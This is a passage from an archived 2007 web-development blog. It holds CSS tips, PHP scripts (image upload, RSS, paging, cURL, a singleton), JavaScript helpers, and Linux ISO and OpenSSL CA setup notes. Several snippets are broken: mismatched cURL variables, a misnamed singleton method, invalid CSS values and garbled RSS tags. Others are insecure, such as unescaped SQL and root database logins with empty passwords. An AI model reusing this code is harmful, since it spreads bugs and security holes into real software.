desired effect. The solution? Specify the line height to be the same as the height of the box itself in the CSS. In this instance, the box is 2em high, so we would insert line-height: 2em into the CSS rule and the text now floats in the middle of the box - perfect!<br />9. CSS positioning within a container<br /><br />One of the best things about CSS is that you can position an object absolutely anywhere you want in the document. It's also possible (and often desirable) to position objects within a container. It's simple to do too. Simply assign the following CSS rule to the container:<br />#container<br />{<br />position: relative;<br />}<br /><br />Now any element within this container will be positioned relative to it. Say you had this HTML structure:<br /><br /><div id="container"><div id="navigation">...</div></div><br /><br />To position the navigation exactly 30px from the left and 5px from the top of the container box, you could use these CSS commands:<br />#navigation<br />{<br />position: absolute;<br />left: 30px;<br />top: 5px;<br />}<br /><br />Perfect! In this particular example, you could of course also use margin: 5px 0 0 30px, but there are some cases where it's preferable to use positioning.<br />10. Background colour running to the screen bottom<br /><br />One of the disadvantages of CSS is its inability to be controlled vertically, causing one particular problem which a table layout doesn't suffer from. Say you have a column running down the left side of the page, which contains site navigation. The page has a white background, but you want this left column to have a blue background. Simple, you assign it the appropriate CSS rule:<br />#navigation<br />{<br />background: blue;<br />width: 150px;<br />}<br /><br />Just one problem though: Because the navigation items don't continue all the way to the bottom of the screen, neither does the background colour. The blue background colour is being cut off half way down the page, ruining your great design. What can you do!?<br /><br />Unfortunately the only solution to this is to cheat, and assign the body a background image of exactly the same colour and width as the left column. You would use this CSS command:<br />body<br />{<br />background: url(blue-image.gif) 0 0 repeat-y;<br />}<br /><br />This image that you place in the background should be exactly 150px wide and the same blue colour as the background of the left column. The disadvantage of using this method is that you can't express the left column in terms of em, as if the user resizes text and the column expands, it's background colour won't.<br /><br />At the time of writing though, this is the only solution to this particular problem so the left column will have to be expressed in px if you want it to have a different background colour to the rest of the page.(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-5082106776476295292007-11-20T07:59:00.000+11:002008-01-17T10:45:54.495+11:00Transfer Deprecated HTML Attributes to CSStype<br /><br />The type attribute was used to set the list markers on unordered and ordered lists (#ul> and #ol>) and on individual list items (#li>) for example “a, b, c”, “1, 2, 3″, “i, ii, iii”, etc.<br /><br />#ol type="a"><br /> #li>First item#/li><br /> #li>Second item#/li><br /> #li>Third item#/li><br />#/ol><br /><br /> 1. First item<br /> 2. Second item<br /> 3. Third item<br /><br />Deprecated example of “type” in an ordered list element<br /><br />To replicate this in CSS you must use list-style-type:<br /><br />ol { list-style-type: lower-alpha; }<br /><br />This styling can also be used on individual #li> elements to create differing sequence types, if you really wanted to!<br /><br />Using the HTML attributes there were only 5 possible types you could use (1, A, a, I and i). By using CSS this increases to a possible 20 values including types such as “hiragana-iroha”, which is a Japanese sequence, and “none” to stop displaying any kind of sequence or bullet. An example of all the types can be seen if you are viewing the page using Firefox - unfortunately IE doesn’t recognise any of the more complex character types and will default to the list’s own style type.<br /><br />border<br /><br />The border attribute was deprecated only on the #img /> and #object> elements, but this should be used anywhere that you’d like to modify a border - to further the separation of presentation and content.<br /><br />The most common place you’ll see this attribute, in current use, is on images that are surrounded by a link:<br /><br />#a href="#"><br /> #img src="images/cup.gif" width="10"<br /> height="20" border="0" /><br />#/a><br /><br />Deprecated example of “border” in the image element<br /><br />Without setting the border to zero, the browser’s default and usually undesirable rendering is to place an blue border around the image, to show that it is clickable (much like it will add a blue underline to a text link).<br /><br />You will probably want to remove the border from all images that fall inside a link, using CSS you do this using the “border” declaration:<br /><br />a img { border: 0; }<br />// you could also use border:none;<br /><br />The flexibility in using CSS in favour of the deprecated attribute is similar to the hspace/vspace example above. It is now very easy to specify a different border size, colour and style to each different side of the item.<br /><br />img {<br /> border-width: 2px 4px;<br /> border-style:dotted dashed solid none;<br /> border-color: red;<br />}<br />// width: top and bottom 2px, left and right 4px<br />// style: top dotted, right dashed,<br /> bottom solid, left none<br />// color: all sides red, if present<br /><br />size<br /><br />Size was in use on the #hr /> (horizontal rule) element to set it’s height in pixels or percentage. Years ago I would always set size to 1 to give a thin solid black line, which would get rid of the default two-tone shading effect - more on the shading of #hr /> later.<br /><br />#hr size="1" /><br />#hr size="5%" /> <br /><br />Before I show how to replicate this using CSS, I should point out that there are continual wranglings about whether or not this whole tag should still be in use. The two sides to the argument are; on the one hand it is a purely presentational element and should be removed in favour of using a border declaration in CSS; and on the other hand it has its semantic place to divide sections of text. I will leave the decision to you - a huge discussion on #hr />’s semantics took place on the Web Standards Group list last week.<br /><br />To replicate in CSS is simple and uses the “height” declaration:<br /><br />hr { height:1px; }<br />hr { height:5%; }<br /><br />By moving this to CSS we again open up the possibilities of how a horizontal rule can be styled - adding colour, relative heights and background images (note: the rendering of background images and colour is not consistent across the browsers).<br /><br />noshade<br /><br />The #hr /> element had another attribute deprecated; noshade was a boolean attribute used to remove the two-tone shading effect and set the line in a solid colour, usually grey.<br /><br />#hr noshade /><br /><br />As a small aside, boolean attributes in XHTML are no longer used in their shortened form. For example, the “checked” attribute that is still in use on #input type=”checkbox” /> elements should be written in long-hand:<br /><br />#input type="checkbox" checked="checked" /><br /><br />Similarly for “selected” in #option> elements:<br /><br />#option selected="selected" >Option 1#/option><br /><br />Removing the shade in CSS isn’t as straight-forward as the attributes we’ve seen so far. In IE you’ll need to use the “color” declaration; and in Mozilla and Opera you need to use both the “border” and “background-color” declarations to get a similar effect to the original attributes. The following should be safe across different browers.<br /><br />hr {<br /> color: gray; // for IE<br /> background-color: gray; // for Mozilla and Firefox<br /> border: 0; // for Mozilla and Firefox<br />}<br /><br />The same styling rules apply as for the “size” attribute above.<br /><br />width and height<br /><br />The width attribute was deprecated for use on #th>, #td> and #hr />, and the height attribute on #th> and #td>. I hope it’s obvious that they set the width and height of the element on which they are specified, quoted in pixels or percentage.<br /><br />#td width="50%" height="20px">Umbrella stand#/td><br /><br />Deprecated example of “width” and “height” in a table data element<br /><br />In the old days of table-based layouts, width and height would be littered around a page’s code hugely increasing the byte size of the file. Removing them gives you a huge saving in bandwidth and simplifies the code for easier maintenance. In CSS you’d replace these attributes in the following way:<br /><br />td {<br /> width: 50%;<br /> height: 20px;<br />}<br /><br />bgcolor<br /><br />Bgcolor was an attribute used to set the background colour of the #table> elements and the #body> element. It would be used to set the background colour of the whole page, you can use a named value or hex if necessary:<br /><br />#body bgcolor="purple"><br /><br />Or to set individual rows or cells of tables:<br /><br />#table><br /> #tr bgcolor="pink"><br /> #td>The pink row#/td><br /> #td>Still the pink row#/td><br /> #/tr><br /> #tr><br /> #td bgcolor="green">The green cell#/td><br /> #td>No colour#/td><br /> #/tr><br />#/table><br /><br />In CSS the property is “background-color” (to colour individual rows/cells you would need to add a class or id to those rows):<br /><br />body { background-color: purple; }<br />tr.odd { background-color: pink; }<br />td.highlight { background-color: green; }<br /><br />Moving this to CSS gives you so much more control over the way pages and tables look. There are a whole host of background related CSS properties such as “background-image”, “background-position”, “background-attachment” and “background-repeat”; these can be grouped together using the background shorthand:<br /><br />background: color | image | repeat | attachment | position ;<br /><br />So if you had a flower image that you wanted to appear at the bottom right of all pages on your site you’d use the “background” declaration to set this up in one line;<br /><br />body { background: white url(imgs/flower.jpg) no-repeat right bottom; }<br /><br />align<br /><br />The align attribute was used to specify the horizontal alignment of an element with the surrounding content. Now it should not be used on any element but you still see it used mainly on the #img />, #hx> and #p> elements:<br /><br />#h1 align="center">Centred heading#/h1><br />#p align="justified">Bit of text that should be justified.#/p><br /><br />Deprecated example of “align” in the h1 and p elements<br /><br />The equivalent CSS property is text-align and has the same values as the align attribute; left, right, center and justified.<br /><br />h1 { text-align: center; }<br />p { text-align: justified; }<br /><br />The thing to remember with this property is that it can align any element and not just text, as it seems to imply.<br /><br />For reference; CSS2 introduced another value for text-align, which is “#string>” and for use in tables only. It aligns the text to whatever string value you enter, for example td { text-align: "."; } could be used to align a column of numerical data on the decimal point. It was withdrawn from CSS2.1 due to lack of implentation among the browsers.<br />End<br /><br />The main thing to remember is that it is always better to remove all presentational attributes from your (X)HTML code and use CSS to do the same job. There’s a CSS declaration for any HTML attribute, so remove them all for best results.<br />Additional Resources<br /><br />W3 Schools: this is the site I started learning from<br />HTML Dog: excellent resource, written by a pro<br />CSS Zen Garden/: the original CSS playground, great for inspiration and pushing the limits of what CSS can do for you(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-8150619129237759292007-11-18T22:25:00.000+11:002007-11-18T22:31:07.029+11:00Dynamic Chart Drawn by JpGraphLoad data from database to JpGraph <br /><br />1、<br />copy <br />example16.2.php from ./src/Examples <br />and <br />jpgraph_bar.php、 jpgraph_gradient.php、jpgraph_line.php、jpgraph_plotmark.inc、jpgraph.php from ./src <br />to current folder<br /><br />2、create database name: jpg,Table: test<br />two fields:<br /> id(Key):int<br /> number:int<br />add some data<br /><br />3、Modify example16.2.php<br /><br />#?php<br />include ("jpgraph.php");<br />include ("jpgraph_line.php");<br />include ("jpgraph_bar.php");<br /><br />$connect=mysql_connect("localhost","root","");<br />mysql_select_db("jpg",$connect);<br />$query=mysql_query("select * from test",$connect);<br />$i=0;<br />while ($array=mysql_fetch_array($query)) {<br />$l2datay[$i]=$array["number"];<br />$i++;<br />}<br />mysql_close($connect);<br /><br />// Create the graph. <br />$graph = new Graph(400,200,"auto"); <br />$graph->SetScale("textlin");<br /><br />$graph->img->SetMargin(40,130,20,40);<br />$graph->SetShadow();<br /><br />// Create the bar plot<br />$bplot = new BarPlot($l2datay);<br />$bplot->SetFillColor("orange");<br />$bplot->SetLegend("Result");<br /><br />// Add the plots to t'he graph<br /><br />$graph->Add($bplot);<br /><br />$graph->title->Set("Adding a line plot to a bar graph v1");<br />$graph->xaxis->title->Set("X-title");<br />$graph->yaxis->title->Set("Y-title");<br /><br />$graph->title->SetFont(FF_FONT1,FS_BOLD);<br />$graph->yaxis->title->SetFont(FF_FONT1,FS_BOLD);<br />$graph->xaxis->title->SetFont(FF_FONT1,FS_BOLD);<br /><br />//$graph->xaxis->SetTickLabels($datax);<br />//$graph->xaxis->SetTextTickInterval(2);<br /><br />// Display the graph<br />$graph->Stroke();<br />?>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-51871356072698759192007-11-16T22:09:00.000+11:002007-11-16T22:10:21.990+11:00mount ISO in Linux在#提示符下执行命令<br />cp /dev/cdrom XXXXX.iso<br />XXXXX.iso即为需要命名的ISO文件名<br />执行之后,光盘上所有文件就被映射成XXXXX.iso<br />至于如何加载请看下面,<br />还是在#提示符下执行命令<br />rm -rf /dev/cdrom<br />ln -s /dev/loop7 /dev/cdrom<br />losetup /dev/loop7 /PATH(iso文件路径)<br />mount /mnt/cdrom<br />如果需要换盘<br />losetup -d /dev/loop7<br />再重复<br />losetup /dev/loop7 /PATH(iso文件路径)<br />mount /mnt/cdrom<br />如果是普通含有iso的光盘<br />可以直接使用命令<br />mount -t iso9660 -o loop /../*.iso /path<br />/.../*.iso 是iso文件路径<br />/path 是挂载点(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-59819705941425401732007-10-23T23:32:00.000+10:002008-01-19T20:26:38.208+11:00Upload Image<pre><br /><?<br />if(isset($_POST['submit'])) { //see if submit button is pressed.<br /><br />//check if they decided to upload a pic:<br />if($_FILES['userfile']['size'] > 1) { <br /><br />$max_size = 100000;<br />$max_height = 300;<br />$max_width = 300;<br /><br />$info = getimagesize($_FILES['userfile']['tmp_name']);<br /><br />//check file-size (in bytes): <br />if(($_FILES['userfile']['size'] > $_POST['MAX_FILE_SIZE']) || <br />($_FILES['userfile']['size'] > $max_size)) {<br /> die("<BR><BR>Error: Upload file size too large: (<b>" .<br /> $_FILES['userfile']['size'] . "</b>). Must not exceed XX kb.");<br />}<br /><br />//check the extension.<br /> $array = explode(".", $_FILES['userfile']['name']); <br /> $nr = count($array); <br /> $ext = $array[$nr-1];<br /> if(($ext !="jpg") && ($ext !="jpeg") && ($ext !="png")) <br /> die("<BR><BR>Error: file extension un-recognized. <br /> Be sure your image follows the correct extension (.JPG or .PNG)");<br /><br />//CHECK TYPE: (what the browser sent)<br />if(($_FILES['userfile']['type'] != "image/jpeg") && ($_FILES['userfile']['type'] != <br />"image/pjpeg") && ($_FILES['userfile']['type'] != "image/png")) {<br /> die("<BR><BR>Error: Upload file type un-recognized. Only .JPG or .PNG <br /> images allowed.");<br />}<br /> <br />//DOUBLE CHECK TYPE: if image MIME type from GD getimagesize() <br />//-In case it was a FAKE! <br />if(($info['mime'] != "image/jpeg") && ($info['mime'] != "image/pjpeg") && <br />($info['mime'] != "image/png")) {<br /> die("<BR><BR>Error: Upload file type un-recognized. Only .JPG or .PNG<br /> images allowed.");<br />}<br /><br />//check file size (length & width)<br />if(($info[0] > $max_width) || ($info[1] >$max_height)) {<br /> die("<BR><BR>Error: Image size error (<b>" . $info[0] . <br /> "</b> x <b>" . $info[1] . "</b>). Must not exceed ". $max_height . <br /> " x ". $max_width .".");<br />}<br /><br />//rename file, move it to location.<br />if(is_uploaded_file($_FILES['userfile']['tmp_name'])) {<br /><br />//get max number of images the user has uploaded <br />$m = mysql_query("SELECT max(user_images) as `total_images` <br /> FROM `images` WHERE `user_id` = '".$_SESSION['user_id']."'");<br /> if(!$m) die('An Error Occurred.');<br /> $result = mysql_fetch_object($m);<br /> if($result->total_images <= 0) {<br /> $image_number = 1;<br /> } else {<br /> $image_number = $result->total_images + 1;<br /> } //end if<br /><br />$filename = strtolower($_SESSION['username']) . $image_number;<br /><br /> if(move_uploaded_file($_FILES['userfile']['tmp_name'] ,<br /> $_SERVER['DOCUMENT_ROOT']."/path/to/image/".$filename . '.' . $ext)) {<br /> echo("File uploaded successfully."); <br /> } else {<br /> echo("An error occurred while uploading.");<br /> }//end upload<br />} //end is_uploaded_file<br /><br />} else { //display form ?><br /><br /><form enctype="multipart/form-data" action="<? $_SERVER['PHP_SELF']; ?>" <br />method="post" name="uploadImage" /><br /><input type="hidden" MAX_UPLOAD_SIZE = "10000" /><br /><input type="file" name="userfile" size="35" /><br /><input type="submit" name="submit" value="Upload Image"><br /><br /><? } //end else ?><br /></pre>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-83991000364688255502007-09-18T22:00:00.000+10:002007-09-18T22:55:58.181+10:00php Script to fetch RSS info/**<br /> * Class name: RSS<br /> * Author : LeadStar Team<br /> * website : <a href="http://www.leadstar.com.cn/" target="_blank">http://www.leadstar.com.cn/</a> <br /> * CopyRight : LeadStar Team<br /> */<br />if (defined('_CLASS_RSS_PHP')) return;<br />define('_CLASS_RSS_PHP',1);<br /><br />class RSS {<br /> //public<br /> var $rss_ver = "2.0";<br /> var $channel_title = '';<br /> var $channel_link = '';<br /> var $channel_description = '';<br /> var $language = 'zh_CN';<br /> var $copyright = '';<br /> var $webMaster = '';<br /> var $pubDate = '';<br /> var $lastBuildDate = '';<br /> var $generator = 'RedFox RSS Generator';<br /><br /> var $content = '';<br /> var $items = array();<br /><br /> /**************************************************************************/<br /> // function name: RSS<br /> // function description: construct<br /> // parameter: $title<br /> // $link<br /> // $description<br /> /**************************************************************************/<br /> function RSS($title, $link, $description) {<br /> $this->channel_title = $title;<br /> $this->channel_link = $link;<br /> $this->channel_description = $description;<br /> $this->pubDate = Date('Y-m-d H:i:s',time());<br /> $this->lastBuildDate = Date('Y-m-d H:i:s',time());<br /> }<br /> /**************************************************************************/<br /> // function name: AddItem<br /> // function description: add a new node<br /> // parameter: $title<br /> // $link<br /> // $description $pubDate<br /> /**************************************************************************/<br /> function AddItem($title, $link, $description ,$pubDate) {<br /> $this->items[] = array('title' => $title ,<br /> 'link' => $link,<br /> 'description' => $description,<br /> 'pubDate' => $pubDate);<br /> }<br /> /**************************************************************************/<br /> // function name: BuildRSS<br /> // function description: generate rss xml file content<br /> /**************************************************************************/<br /> function BuildRSS() {<br /> $s = " <?xml version=\"1.0\" encoding=\"gb2312\" ?><br /> \n<rss version="\">\n";<br /> // start channel<br /> $s .= "<channel>\n";<br /> $s .= "<tit1e><![CDATA[{$this->channel_title}]]></tit1e>\n";<br /> $s .= "<1ink><![CDATA[{$this->channel_link}]]></1ink>\n";<br /> $s .= "<description><![CDATA[{$this->channel_description}]]></description>\n";<br /> $s .= "<language>{$this->language}</language>\n";<br /> if (!empty($this->copyright)) {<br /> $s .= "<copyright><![CDATA[{$this->copyright}]]></copyright>\n";<br /> }<br /> if (!empty($this->webMaster)) {<br /> $s .= "<webmaster><![CDATA[{$this->webMaster}]]></webmaster>\n";<br /> }<br /> if (!empty($this->pubDate)) {<br /> $s .= "<pubdate>{$this->pubDate}</pubdate>\n";<br /> }<br /><br /> if (!empty($this->lastBuildDate)) {<br /> $s .= "<lastbuilddate>{$this->lastBuildDate}</lastbuilddate>\n";<br /> }<br /><br /> if (!empty($this->generator)) {<br /> $s .= "<generator>{$this->generator}</generator>\n";<br /> }<br /> <br /> // start items<br /> for ($i=0;$i<count($this->items);$i++) {<br /> $s .= "<item>\n";<br /> $s .= "<tit1e><![CDATA[{$this->items[$i]['title']}]]></tit1e>\n";<br /> $s .= "<1ink><![CDATA[{$this->items[$i]['link']}]]></1ink>\n";<br /> $s .= "<description><![CDATA[{$this->items[$i]['description']}]]></description>\n";<br /> $s .= "<pubdate>{$this->items[$i]['pubDate']}</pubdate>\n"; <br /> $s .= "</item>\n";<br /> }<br /> <br /> // close channel<br /> $s .= "</channel>\n</rss>";<br /> $this->content = $s;<br /> }<br /> /**************************************************************************/<br /> // function name: Show<br /> // function description: print out the RSS xml file content<br /> /**************************************************************************/<br /> function Show() {<br /> if (empty($this->content)) $this->BuildRSS();<br /> echo($this->content);<br /> }<br /> /**************************************************************************/<br /> // function name: SaveToFile<br /> // function description: save the RSS content to a file<br /> // parameter: $fname the file name to be saved<br /> /**************************************************************************/<br /> function SaveToFile($fname) {<br /> $handle = fopen($fname, 'wb');<br /> if ($handle === false) return false;<br /> fwrite($handle, $this->content);<br /> fclose($handle);<br /> }<br />}(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-53911107256826195812007-09-08T12:06:00.000+10:002007-09-08T12:07:56.027+10:00Ajaxian.com 2006 Survey Results<h2 id="post-1603"><a title="Permanent Link to Ajaxian.com 2006 Survey Results" href="http://ajaxian.com/archives/ajaxiancom-2006-survey-results" rel="bookmark">Ajaxian.com 2006 Survey Results</a></h2>The results of our second annual Ajaxian.com survey, prepared by Richard Monson-Hafael from the Burton Group, are in. And the winner is… Prototype, the most popular Ajax framework, by a considerable margin: 43% of you use it. Script.aculo.us is next, at 33%, confirming observations that many of made of the popularity of that duo. <p>The full results of our framework survey follow:</p> <p><a href="http://www.ajaxian.com/images/survey06-all-large.png"><img alt="Framework Survey Results" src="http://www.ajaxian.com/images/survey06-all-small.png" border="0" /></a></p> <p>Note that multiple responses per participant were allowed; we’ve also thrown out any result with less than 3% of responses in the above graphic.</p> <p>We also asked you about the server-side platform you’re using. The big winner here was PHP, with 50% of you using it:</p> <p><img alt="Platform Survey Results" src="http://www.ajaxian.com/images/survey06-platforms.png" border="0" /></p> <p>Some other interesting factoids:</p> <ul><li><strong>25% of you eschew frameworks and work with XMLHttpRequest directly</strong> (wow!) </li><li><strong>11% of you are using JSON to transfer data</strong>; unfortunately, we didn’t ask enough questions to determine how this compares with XML or other data formats </li><li><strong>3% of you are still using Microsoft’s “classic” ASP framework</strong>; five of you (~0.6%) are using C++ (+2 points for increased performance, -100 for increased complexity?) </li><li><strong>2% of you wrote in to say that you’re using Adobe’s Flex toolkit</strong> (hey, those banner ads are working out…); 2% also indicated that they use the Flex/Ajax bridge. Unfortunately, the survey software we used doesn’t let us correlate these entries, so we can only say that 2%-4% of you are using Flex in some way </li><li>One participant uses <strong>Delphi</strong> (how’s that working out for you?), and another is using <strong>LISP</strong> (can we hire you?). </li></ul>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-9076146412214256322007-08-28T20:02:00.000+10:002007-08-28T20:04:05.141+10:00getElementsByClassName My Eesy EditionTake it easy<br /><br />function getElementsByClassName(className, tag){<br /> var testClass = new RegExp("(^|\\s)" + className + "(\\s|$)");<br /> var tag = tag || "*";<br /> <br /> var elements = (tag == "*" && document.all)? document.all : document.getElementsByTagName(tag);<br /> var returnElements = [];<br /> var current;<br /> var length = elements.length;<br /> for(var i=0; i<length;><br /> current = elements[i];<br /> if(testClass.test(current.className)){<br /> returnElements.push(current);<br /> }<br /> }<br /> return returnElements;<br />}</length;>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-76816912291485828602007-08-28T19:55:00.000+10:002007-08-28T20:00:58.472+10:00getElementsByClassName Delux Edition<pre><code>GET it FROM http://muffinresearch.co.uk/archives/2006/04/29/getelementsbyclassname-deluxe-edition/<br /><br />function getElementsByClassName(strClass, strTag, objContElm) {<br /> strTag = strTag || "*";<br /> objContElm = objContElm || document;<br /> var objColl = objContElm.getElementsByTagName(strTag);<br /> if (!objColl.length && strTag == "*" && objContElm.all) objColl = objContElm.all;<br /> var arr = new Array();<br /> var delim = strClass.indexOf('|') != -1 ? '|' : ' ';<br /> var arrClass = strClass.split(delim);<br /> for (var i = 0, j = objColl.length; i < j; i++) {<br /> var arrObjClass = objColl[i].className.split(' ');<br /> if (delim == ' ' && arrClass.length > arrObjClass.length) continue;<br /> var c = 0;<br /> comparisonLoop:<br /> for (var k = 0, l = arrObjClass.length; k < l; k++) {<br /> for (var m = 0, n = arrClass.length; m < n; m++) {<br /> if (arrClass[m] == arrObjClass[k]) c++;<br /> if (( delim == '|' && c == 1) || (delim == ' ' && c == arrClass.length)) {<br /> arr.push(objColl[i]);<br /> break comparisonLoop;<br /> }<br /> }<br /> }<br /> }<br /> return arr;<br />}</code></pre>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-193510925823214522007-05-22T19:20:00.001+10:002007-06-26T16:46:20.114+10:00Javascript for updating one windows from anotherwindow.onload = initWindows;<br /><br />function initWindows() {<br /> if (document.getElementById("childField")) {<br /> document.getElementById("childField").onchange = updateParent;<br /> }<br /> else {<br /> newWindow = window.open("child.html","newWin","status=yes,width=300,height=300");<br /> }<br />}<br /><br />function updateParent() {<br /> opener.document.getElementById("msgLine").value = "Hello " + <span style="color: rgb(51, 51, 255);">this.value </span>+ "!";<br />}(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-56748730660947745182007-05-12T12:08:00.000+10:002008-01-17T11:36:20.276+11:00PHP DataTable Displaying and Paging<p><br /><br />I have made a function to fetch data from database and show it in a HTML table. It's easy to use but hard to read. HTML text has been linked together.<br /></p><br /><br /><pre class="code"><br />function getResultAsTable ($actions, $result)<br />{<br /> if ($rowcount =pg_num_rows($result)>0)<br /> {<br /> $resultHTML= "<table border="'1'" align="'center'">\n<tr bgcolor="'#e8eefa'">\n";<br /> <br /> //Output the table header<br /> $fieldCount = pg_num_fields($result);<br /> for ($i=0; $i < $fieldCount; $i++)<br /> {<br /> $rowName = pg_field_name($result,$i);<br /> $resultHTML .= "<th valign="'middle'">$rowName</th>\n";<br /> }<br /> <br /> $resultHTML .= "<th>Actions</th></tr>\n";<br /> <br /> //output the table body<br /> while ($row = pg_fetch_row($result))<br /> {<br /> $resultHTML .="<tr>\n";<br /> for ($i=0; $i < $fieldCount; $i++)<br /> {<br /> $resultHTML .="<td>".htmlentities($row[$i])."</td>\n";<br /> }<br /> <br /> //Replace VALUE with proper primary key<br /> $action = str_replace("VALUE", $row[0], $actions);<br /> //Add action cell to the end of each row<br /> $resultHTML .= "<td>$action</td>\n</tr>\n";<br /> <br /> }<br /> <br /> //Close table<br /> $resultHTML .="</table>\n";<br /> }<br /> else<br /> {<br /> $resultHTML = "No Result Found";<br /> }<br /> return $resultHTML;<br />}<br /><br /><br />function pageLinks($totalpages, $currentpage, $pagesize, $parameter)<br />{<br />// Start at page one<br />$page = 1;<br />// Start at record 0<br />$recordstart = 0;<br /><br />// Initialize page links<br />$pageLinks = '';<br />while ($page <= $totalpages) { <br />// Link the page if it isn't the current one <br /> if ($page != $currentpage) {<br /> $pageLinks .= "<a href="http://www.blogger.com/%5C" <br /> parameter="$recordstart\">$page</a> ";<br /> // If the current page, just list the number<br /> }<br /> else {<br /> $pageLinks .= "$page ";<br /> }<br /> // Move to the next record delimiter<br /> $recordstart += $pagesize;<br /> $page++;<br />}<br /><br />return $pageLinks;<br />}<br /></pre>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-72362510268453427072007-05-12T12:06:00.000+10:002007-05-13T15:09:37.058+10:00Design Pattern in PHP ArchitectureSingleton pattern defines a class that hs only a single global instance. There are an abundance of places where a singleton is a natural choice. A browsing user has only a single set of cookies and has only one profile. Similarly, a class that wraps an HTTP request has only one instance per request. If you use a database driver that does not share connections, you might want to use a singleton to ensure that only a single connection is every open to a given database at a given time.<br /><br />One successful method for implementing singletons in PHP5 is to use a factory method to create a singleton. The factory method keeps a private reference to the original instance of the class and returns that on request.<br /><br />class Singleton {<br /> private static $instance = false;<br /> public $property;<br /><br /> private function __construct () {}<br /> public static function genInstance ()<br /> {<br /> if (self :: $instance === false) {<br /> self :: $instance=new Singleton;<br /> }<br /> return self :: $instance;<br /> }<br />}<br /><br />$a = Singleton :: getInstance()<br />$b = Singleton :: getInstance()<br />$a ->property = "Hello world";<br /><br />print $b ->property;<br /><br />//Amazing! The result will be "Hello world"//<br /><br />In fact, if set the constructor methods private, you can only make instance inside the class, if you try to instantiate outside the class, you will get a fatal error.(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-38389119008920883382007-05-03T18:14:00.000+10:002007-06-11T10:54:23.140+10:00PHP and CURL (make post between two sites more secure)We can also use CURL to post data to a form. The default method of sending form data with CURL is in <a onclick="javascript:urchinTracker ('/outgoing/en.wikipedia.org/wiki/GET');" href="http://en.wikipedia.org/wiki/GET">GET</a>, but in this example we will use <a onclick="javascript:urchinTracker ('/outgoing/en.wikipedia.org/wiki/POST');" href="http://en.wikipedia.org/wiki/POST">POST</a> to submit a search term to an imaginary form. <p>[php] // Setup a string with the form parameters in it<br /> $strParameters = "query=dog";</p> <p> // Initialize the CURL library<br /> $cURL = curl_init($cURL);</p> <p> // Set the URL to execute<br /> curl_setopt($cCURL, CURLOPT_URL, "http://www.mywebserver.com/mysearch.php");</p> <p> // Set options<br /> curl_setopt($cCURL, CURLOPT_HEADER, 1);<br /> curl_setopt($cCURL, CURLOPT_RETURNTRANSFER, 1);<br /> curl_setopt($cCURL, CURLOPT_POST, 1);<br /> curl_setopt($cCURL, CURLOPT_POSTFIELDS, $strParameters);</p> <p> // Execute, saving results in a variable<br /> $strPage = curl_exec();</p> <p> // Close CURL resource<br /> curl_close($cURL);</p> <p> // This will print out the HTML contents<br /> echo($strPage);</p> <p>?>[/php]</p>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-76704573683015806522007-04-17T08:12:00.000+10:002007-04-17T09:00:18.223+10:00Make a CA for My OwnIt's lucky to have a sever on my own computer. So I get chance to know more about how to protect web server. It is not enough make strict privilege access to certain folders and files. One good way to protect communication between server and client is to assign a CA to client at the beginning of communication, and in this way, a unique encryption system can be set up every time client connect to server.<br /><br />Normally, certification issuers, which are called Certificate Authority, are big security companies. Their CA sometimes play a more important role than a business certification, because this CA can not be modified or counterfeited. But in a cyber world, everybody can be an Authority, everybody can issue his own certification. Although this kind of CA cannot enjoy high prestige as commercial one. But it can still be very useful for encryption messages sent between server and client.<br /><br />Here is a simple way to set up a HTTPS server on Ubuntu:<br /><br /><p><strong></strong></p><div style="text-align: left;"><blockquote><p><strong></strong></p></blockquote></div><blockquote><div style="text-align: left;"><blockquote><p><strong>1. install Openssl and get root CA</strong></p><blockquote><p>sudo apt-get install openssl </p></blockquote> /* setup a root CA, and make sure the password is complex enough */ <blockquote><p>openssl genrsa -des3 2048 > rootca.privatekey</p></blockquote> <p>Work out a self-certificate based on the root CA,change the valid time if needed.<br /></p> <blockquote><p>openssl req -new -x509 -key rootca.privatekey -days 3650 -out rootca.cert</p></blockquote> <p>In the process,you will be asked to provide your information, including organization name and physical location and so on.<br /></p><p>Open /etc/ssl/openssl.cnf modify the environment variable like this:<br /></p> <blockquote><p>dir = /etc/ssl/CA</p></blockquote> Set up several folders to reserve the private files: <blockquote><p>sudo mkdir -p /etc/ssl/CA/certs<br />sudo mkdir -p /etc/ssl/CA/newcerts<br />sudo touch /etc/ssl/CA/index.txt<br />sudo echo “01″ > /etc/ssl/CA/serial</p></blockquote> <p>copy the root CA to this folder<br /></p> <blockquote><p>sudo cp rootca.privatekey /etc/ssl/CA/private/cakey.pem<br />sudo cp rootca.cer /etc/ssl/CA/cacert.pem</p></blockquote> <p>change privilege to deny all access but from root:<br /></p> <blockquote><p>cd /etc/ssl<br />sudo chmod go-rwx CA -R</p></blockquote> <div> </div><p style="text-align: left;"><strong>2. Set Up Certification for Apache SSL<br /></strong></p><div style="text-align: left;"> </div><p style="text-align: left;">Generate a user CA first, an the process is similar to set up a root CA:<br /></p><div style="text-align: left;"> <blockquote><p>openssl genrsa -des3 2048 > 